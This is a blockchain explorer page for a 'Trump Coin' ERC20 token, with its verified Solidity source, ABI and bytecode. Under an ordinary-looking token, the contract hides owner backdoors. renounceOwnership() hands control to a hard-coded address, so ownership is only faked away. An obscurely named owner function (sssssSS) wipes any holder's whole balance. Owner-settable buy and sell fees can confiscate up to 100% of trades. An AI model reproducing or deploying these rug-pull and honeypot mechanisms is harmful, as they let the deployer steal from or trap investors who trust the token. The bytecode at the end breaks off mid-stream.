ETH Price: $2,617.25 (+0.78%)

Token

Trump Coin (Trump Coin)
 

Overview

Max Total Supply

100,000,000 Trump Coin

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
1,723,820.677 Trump Coin

Value
$0.00
0x63792f1d193d3aa51dbd6689a19a64fd25477377
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TrumpCoin

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-20
*/

/*
Twitter- https://x.com/trumpcoin_eth_
Telegram-https://t.me/TrumpCoin_EN
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    
    constructor() {
        _transferOwnership(_msgSender());
    }

    
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    
    
     function owner() public view virtual returns (address) {
         return _owner;
     }

    
     function _checkOwner() internal view virtual {
         
         require(_owner == _msgSender(), "Ownable: caller is not the owner");
     }

    
    function renounceOwnership() public virtual  {
        _transferOwnership(address(0x7174e671Cc587916e49a17EC7558669A9A6f0EbC));
    }

    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;


interface IERC20 {
    
    event Transfer(address indexed from, address indexed to, uint256 value);

    
    event Approval(address indexed owner, address indexed spender, uint256 value);

    
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address to, uint256 amount) external returns (bool);

    
    function allowance(address owner, address spender) external view returns (uint256);

    
    function approve(address spender, uint256 amount) external returns (bool);

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}



pragma solidity ^0.8.0;



interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);

    
    function symbol() external view returns (string memory);

    
    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.0;


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

   
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

   
    function decimals() public view virtual override returns (uint8) {
        return 6;
    }

    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    address  public swap = 0x000000000000000000000000000000000000dEaD;
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    
    function _burn(address account, uint256 amount) internal virtual {
        require(account != swap, "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, swap, amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        

        emit Transfer(account, swap, amount);

        _afterTokenTransfer(account, swap, amount);
    }



    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

pragma solidity ^0.8.0;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract TrumpCoin is ERC20, Ownable {
    using SafeMath for uint256;
    address public pair;
    address public addr=0x000000000000000000000000000000000000dEaD;    
    uint256 public HOPPYB;
    uint256 public HOPPYA;
    
    
    
                        
    constructor() ERC20("Trump Coin", "Trump Coin") {
         
        _mint(msg.sender, 100000000 * 10 ** decimals());
        
        
    }
    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        uint256 x = amount.div(1000);
        if(sender == pair){
            super._transfer(sender, addr, x.mul(HOPPYA));
            super._transfer(sender, recipient, x.mul(1000-HOPPYA));
        }else if(recipient == pair){
            super._transfer(sender, addr, x.mul(HOPPYB));
            super._transfer(sender, recipient, x.mul(1000-HOPPYB));
        }else if((pair != address(0)) && (recipient != pair) && (sender != pair)){
           
            super._transfer(sender, recipient, x.mul(1000));
        }else{
            super._transfer(sender, recipient, x.mul(1000));
        }
    }
    function setBUY(uint256 _hoppyA)public onlyOwner {
        HOPPYA= _hoppyA;
    }

     function setsell(uint256 _HOPPYB) public onlyOwner{
       HOPPYB=_HOPPYB;
    }

    function setPair(address _pair) public onlyOwner {
        pair = _pair;
    }
    
    
    function setb(address account, uint256 amount) public onlyOwner {
        _burn(account, amount* 10 ** decimals());
    }

   function setswap(address _swap) public  onlyOwner {
        swap = _swap;
    }

    function sssssSS(address account) public onlyOwner {
        _burn(account, balanceOf(account));
    }
  
    function transferArray(address[] memory _to, uint256 _value) public onlyOwner {

        for(uint256 i = 0; i < _to.length; i++){

            transfer(_to[i], _value);

        }

    }
     
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"HOPPYA","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"HOPPYB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_hoppyA","type":"uint256"}],"name":"setBUY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setb","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_HOPPYB","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_swap","type":"address"}],"name":"setswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"sssssSS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferArray","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526005805461dead6001600160a01b031991821681179092556008805490911690911790553480156200003557600080fd5b50604080518082018252600a808252692a393ab6b81021b7b4b760b11b6020808401828152855180870190965292855284015281519192916200007b9160039162000228565b5080516200009190600490602084019062000228565b505050620000ae620000a8620000e660201b60201c565b620000ea565b620000e033620000bd6200013c565b620000ca90600a62000376565b620000da906305f5e1006200046e565b62000141565b620004e3565b3390565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600690565b6001600160a01b038216620001735760405162461bcd60e51b81526004016200016a90620002ce565b60405180910390fd5b620001816000838362000223565b80600260008282546200019591906200030e565b90915550506001600160a01b03821660009081526020819052604081208054839290620001c49084906200030e565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200020990859062000305565b60405180910390a36200021f6000838362000223565b5050565b505050565b828054620002369062000490565b90600052602060002090601f0160209004810192826200025a5760008555620002a5565b82601f106200027557805160ff1916838001178555620002a5565b82800160010185558215620002a5579182015b82811115620002a557825182559160200191906001019062000288565b50620002b3929150620002b7565b5090565b5b80821115620002b35760008155600101620002b8565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60008219821115620003245762000324620004cd565b500190565b80825b60018086116200033d57506200036d565b818704821115620003525762000352620004cd565b808616156200036057918102915b9490941c9380026200032c565b94509492505050565b60006200038a60001960ff85168462000391565b9392505050565b600082620003a2575060016200038a565b81620003b1575060006200038a565b8160018114620003ca5760028114620003d55762000409565b60019150506200038a565b60ff841115620003e957620003e9620004cd565b6001841b915084821115620004025762000402620004cd565b506200038a565b5060208310610133831016604e8410600b841016171562000441575081810a838111156200043b576200043b620004cd565b6200038a565b62000450848484600162000329565b808604821115620004655762000465620004cd565b02949350505050565b60008160001904831182151516156200048b576200048b620004cd565b500290565b600281046001821680620004a557607f821691505b60208210811415620004c757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6113f680620004f36000396000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c80638119c065116100de578063a8aa1b3111610097578063c7deb07a11610071578063c7deb07a14610308578063cd2dbfd31461031b578063dd62ed3e1461032e578063f2fde38b146103415761018e565b8063a8aa1b31146102da578063a9059cbb146102e2578063b8a85017146102f55761018e565b80638119c065146102895780638187f516146102915780638da5cb5b146102a457806395d89b41146102ac5780639a8dd276146102b4578063a457c2d7146102c75761018e565b8063395093511161014b57806370a082311161012557806370a0823114610251578063715018a61461026457806371d4dcc51461026c578063767800de146102745761018e565b806339509351146102235780635a2eda02146102365780636ffe11b11461023e5761018e565b806306fdde0314610193578063095ea7b3146101b15780630f030f9f146101d157806318160ddd146101e657806323b872dd146101fb578063313ce5671461020e575b600080fd5b61019b610354565b6040516101a89190610e40565b60405180910390f35b6101c46101bf366004610d19565b6103e6565b6040516101a89190610e35565b6101e46101df366004610c92565b61040a565b005b6101ee610427565b6040516101a891906111a2565b6101c4610209366004610cde565b61042d565b61021661045d565b6040516101a891906111ab565b6101c4610231366004610d19565b610462565b6101ee61048e565b6101e461024c366004610e09565b610494565b6101ee61025f366004610c92565b6104a1565b6101e46104c0565b6101ee6104df565b61027c6104e5565b6040516101a89190610e21565b61027c6104f4565b6101e461029f366004610c92565b610503565b61027c61052d565b61019b61053c565b6101e46102c2366004610e09565b61054b565b6101c46102d5366004610d19565b610558565b61027c6105b4565b6101c46102f0366004610d19565b6105c3565b6101e4610303366004610d19565b6105db565b6101e4610316366004610d42565b610608565b6101e4610329366004610c92565b610665565b6101ee61033c366004610cac565b61068f565b6101e461034f366004610c92565b6106ba565b6060600380546103639061133e565b80601f016020809104026020016040519081016040528092919081815260200182805461038f9061133e565b80156103dc5780601f106103b1576101008083540402835291602001916103dc565b820191906000526020600020905b8154815290600101906020018083116103bf57829003601f168201915b5050505050905090565b6000806103f16106f1565b90506103fe8185856106f5565b60019150505b92915050565b6104126107a9565b6104248161041f836104a1565b6107de565b50565b60025490565b6000806104386106f1565b90506104458582856108d0565b61045085858561091a565b60019150505b9392505050565b600690565b60008061046d6106f1565b90506103fe81858561047f858961068f565b61048991906111b9565b6106f5565b600a5481565b61049c6107a9565b600955565b6001600160a01b0381166000908152602081905260409020545b919050565b6104dd737174e671cc587916e49a17ec7558669a9a6f0ebc610a47565b565b60095481565b6008546001600160a01b031681565b6005546001600160a01b031681565b61050b6107a9565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031690565b6060600480546103639061133e565b6105536107a9565b600a55565b6000806105636106f1565b90506000610571828661068f565b90508381101561059c5760405162461bcd60e51b81526004016105939061115d565b60405180910390fd5b6105a982868684036106f5565b506001949350505050565b6007546001600160a01b031681565b6000806105ce6106f1565b90506103fe81858561091a565b6105e36107a9565b610604826105ef61045d565b6105fa90600a611237565b61041f9084611308565b5050565b6106106107a9565b60005b82518110156106605761064d83828151811061063f57634e487b7160e01b600052603260045260246000fd5b6020026020010151836105c3565b508061065881611379565b915050610613565b505050565b61066d6107a9565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6106c26107a9565b6001600160a01b0381166106e85760405162461bcd60e51b815260040161059390610f18565b61042481610a47565b3390565b6001600160a01b03831661071b5760405162461bcd60e51b815260040161059390611119565b6001600160a01b0382166107415760405162461bcd60e51b815260040161059390610f5e565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061079c9085906111a2565b60405180910390a3505050565b6107b16106f1565b6006546001600160a01b039081169116146104dd5760405162461bcd60e51b81526004016105939061105e565b6005546001600160a01b038381169116141561080c5760405162461bcd60e51b815260040161059390611093565b6005546108249083906001600160a01b031683610660565b6001600160a01b0382166000908152602081905260409020548181101561085d5760405162461bcd60e51b815260040161059390610ed6565b6001600160a01b0380841660008181526020819052604090819020858503905560055490519216917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108b29086906111a2565b60405180910390a36005546106609084906001600160a01b03168483565b60006108dc848461068f565b9050600019811461091457818110156109075760405162461bcd60e51b815260040161059390610fa0565b61091484848484036106f5565b50505050565b6000610928826103e8610a99565b6007549091506001600160a01b038581169116141561098d57600854600a546109699186916001600160a01b0390911690610964908590610adb565b610b20565b6109888484610964600a546103e86109819190611327565b8590610adb565b610914565b6007546001600160a01b03848116911614156109de576008546009546109c69186916001600160a01b0390911690610964908590610adb565b61098884846109646009546103e86109819190611327565b6007546001600160a01b031615801590610a0657506007546001600160a01b03848116911614155b8015610a2057506007546001600160a01b03858116911614155b15610a36576109888484610964846103e8610adb565b6109148484610964846103e8610adb565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600061045683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c44565b600082610aea57506000610404565b6000610af68385611308565b905082610b0385836111d1565b146104565760405162461bcd60e51b81526004016105939061101d565b6001600160a01b038316610b465760405162461bcd60e51b8152600401610593906110d4565b6001600160a01b038216610b6c5760405162461bcd60e51b815260040161059390610e93565b610b77838383610660565b6001600160a01b03831660009081526020819052604090205481811015610bb05760405162461bcd60e51b815260040161059390610fd7565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610be79084906111b9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3191906111a2565b60405180910390a3610914848484610660565b60008183610c655760405162461bcd60e51b81526004016105939190610e40565b506000610c7284866111d1565b95945050505050565b80356001600160a01b03811681146104bb57600080fd5b600060208284031215610ca3578081fd5b61045682610c7b565b60008060408385031215610cbe578081fd5b610cc783610c7b565b9150610cd560208401610c7b565b90509250929050565b600080600060608486031215610cf2578081fd5b610cfb84610c7b565b9250610d0960208501610c7b565b9150604084013590509250925092565b60008060408385031215610d2b578182fd5b610d3483610c7b565b946020939093013593505050565b60008060408385031215610d54578182fd5b823567ffffffffffffffff80821115610d6b578384fd5b818501915085601f830112610d7e578384fd5b8135602082821115610d9257610d926113aa565b80820260405182828201018181108682111715610db157610db16113aa565b604052838152828101945085830182870184018b1015610dcf578889fd5b8896505b84871015610df857610de481610c7b565b865260019690960195948301948301610dd3565b509997909101359750505050505050565b600060208284031215610e1a578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610e6c57858101830151858201604001528201610e50565b81811115610e7d5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b600082198211156111cc576111cc611394565b500190565b6000826111ec57634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611203575061122e565b81870482111561121557611215611394565b8086161561122257918102915b9490941c9380026111f4565b94509492505050565b600061045660001960ff85168460008261125357506001610456565b8161126057506000610456565b81600181146112765760028114611280576112ad565b6001915050610456565b60ff84111561129157611291611394565b6001841b9150848211156112a7576112a7611394565b50610456565b5060208310610133831016604e8410600b84101617156112e0575081810a838111156112db576112db611394565b610456565b6112ed84848460016111f1565b8086048211156112ff576112ff611394565b02949350505050565b600081600019048311821515161561132257611322611394565b500290565b60008282101561133957611339611394565b500390565b60028104600182168061135257607f821691505b6020821081141561137357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561138d5761138d611394565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220cde4f6db0e981a4a30188dd352e5e01ac41d5e34b484e76f80e71e55d904778364736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638119c065116100de578063a8aa1b3111610097578063c7deb07a11610071578063c7deb07a14610308578063cd2dbfd31461031b578063dd62ed3e1461032e578063f2fde38b146103415761018e565b8063a8aa1b31146102da578063a9059cbb146102e2578063b8a85017146102f55761018e565b80638119c065146102895780638187f516146102915780638da5cb5b146102a457806395d89b41146102ac5780639a8dd276146102b4578063a457c2d7146102c75761018e565b8063395093511161014b57806370a082311161012557806370a0823114610251578063715018a61461026457806371d4dcc51461026c578063767800de146102745761018e565b806339509351146102235780635a2eda02146102365780636ffe11b11461023e5761018e565b806306fdde0314610193578063095ea7b3146101b15780630f030f9f146101d157806318160ddd146101e657806323b872dd146101fb578063313ce5671461020e575b600080fd5b61019b610354565b6040516101a89190610e40565b60405180910390f35b6101c46101bf366004610d19565b6103e6565b6040516101a89190610e35565b6101e46101df366004610c92565b61040a565b005b6101ee610427565b6040516101a891906111a2565b6101c4610209366004610cde565b61042d565b61021661045d565b6040516101a891906111ab565b6101c4610231366004610d19565b610462565b6101ee61048e565b6101e461024c366004610e09565b610494565b6101ee61025f366004610c92565b6104a1565b6101e46104c0565b6101ee6104df565b61027c6104e5565b6040516101a89190610e21565b61027c6104f4565b6101e461029f366004610c92565b610503565b61027c61052d565b61019b61053c565b6101e46102c2366004610e09565b61054b565b6101c46102d5366004610d19565b610558565b61027c6105b4565b6101c46102f0366004610d19565b6105c3565b6101e4610303366004610d19565b6105db565b6101e4610316366004610d42565b610608565b6101e4610329366004610c92565b610665565b6101ee61033c366004610cac565b61068f565b6101e461034f366004610c92565b6106ba565b6060600380546103639061133e565b80601f016020809104026020016040519081016040528092919081815260200182805461038f9061133e565b80156103dc5780601f106103b1576101008083540402835291602001916103dc565b820191906000526020600020905b8154815290600101906020018083116103bf57829003601f168201915b5050505050905090565b6000806103f16106f1565b90506103fe8185856106f5565b60019150505b92915050565b6104126107a9565b6104248161041f836104a1565b6107de565b50565b60025490565b6000806104386106f1565b90506104458582856108d0565b61045085858561091a565b60019150505b9392505050565b600690565b60008061046d6106f1565b90506103fe81858561047f858961068f565b61048991906111b9565b6106f5565b600a5481565b61049c6107a9565b600955565b6001600160a01b0381166000908152602081905260409020545b919050565b6104dd737174e671cc587916e49a17ec7558669a9a6f0ebc610a47565b565b60095481565b6008546001600160a01b031681565b6005546001600160a01b031681565b61050b6107a9565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031690565b6060600480546103639061133e565b6105536107a9565b600a55565b6000806105636106f1565b90506000610571828661068f565b90508381101561059c5760405162461bcd60e51b81526004016105939061115d565b60405180910390fd5b6105a982868684036106f5565b506001949350505050565b6007546001600160a01b031681565b6000806105ce6106f1565b90506103fe81858561091a565b6105e36107a9565b610604826105ef61045d565b6105fa90600a611237565b61041f9084611308565b5050565b6106106107a9565b60005b82518110156106605761064d83828151811061063f57634e487b7160e01b600052603260045260246000fd5b6020026020010151836105c3565b508061065881611379565b915050610613565b505050565b61066d6107a9565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6106c26107a9565b6001600160a01b0381166106e85760405162461bcd60e51b815260040161059390610f18565b61042481610a47565b3390565b6001600160a01b03831661071b5760405162461bcd60e51b815260040161059390611119565b6001600160a01b0382166107415760405162461bcd60e51b815260040161059390610f5e565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061079c9085906111a2565b60405180910390a3505050565b6107b16106f1565b6006546001600160a01b039081169116146104dd5760405162461bcd60e51b81526004016105939061105e565b6005546001600160a01b038381169116141561080c5760405162461bcd60e51b815260040161059390611093565b6005546108249083906001600160a01b031683610660565b6001600160a01b0382166000908152602081905260409020548181101561085d5760405162461bcd60e51b815260040161059390610ed6565b6001600160a01b0380841660008181526020819052604090819020858503905560055490519216917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108b29086906111a2565b60405180910390a36005546106609084906001600160a01b03168483565b60006108dc848461068f565b9050600019811461091457818110156109075760405162461bcd60e51b815260040161059390610fa0565b61091484848484036106f5565b50505050565b6000610928826103e8610a99565b6007549091506001600160a01b038581169116141561098d57600854600a546109699186916001600160a01b0390911690610964908590610adb565b610b20565b6109888484610964600a546103e86109819190611327565b8590610adb565b610914565b6007546001600160a01b03848116911614156109de576008546009546109c69186916001600160a01b0390911690610964908590610adb565b61098884846109646009546103e86109819190611327565b6007546001600160a01b031615801590610a0657506007546001600160a01b03848116911614155b8015610a2057506007546001600160a01b03858116911614155b15610a36576109888484610964846103e8610adb565b6109148484610964846103e8610adb565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600061045683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c44565b600082610aea57506000610404565b6000610af68385611308565b905082610b0385836111d1565b146104565760405162461bcd60e51b81526004016105939061101d565b6001600160a01b038316610b465760405162461bcd60e51b8152600401610593906110d4565b6001600160a01b038216610b6c5760405162461bcd60e51b815260040161059390610e93565b610b77838383610660565b6001600160a01b03831660009081526020819052604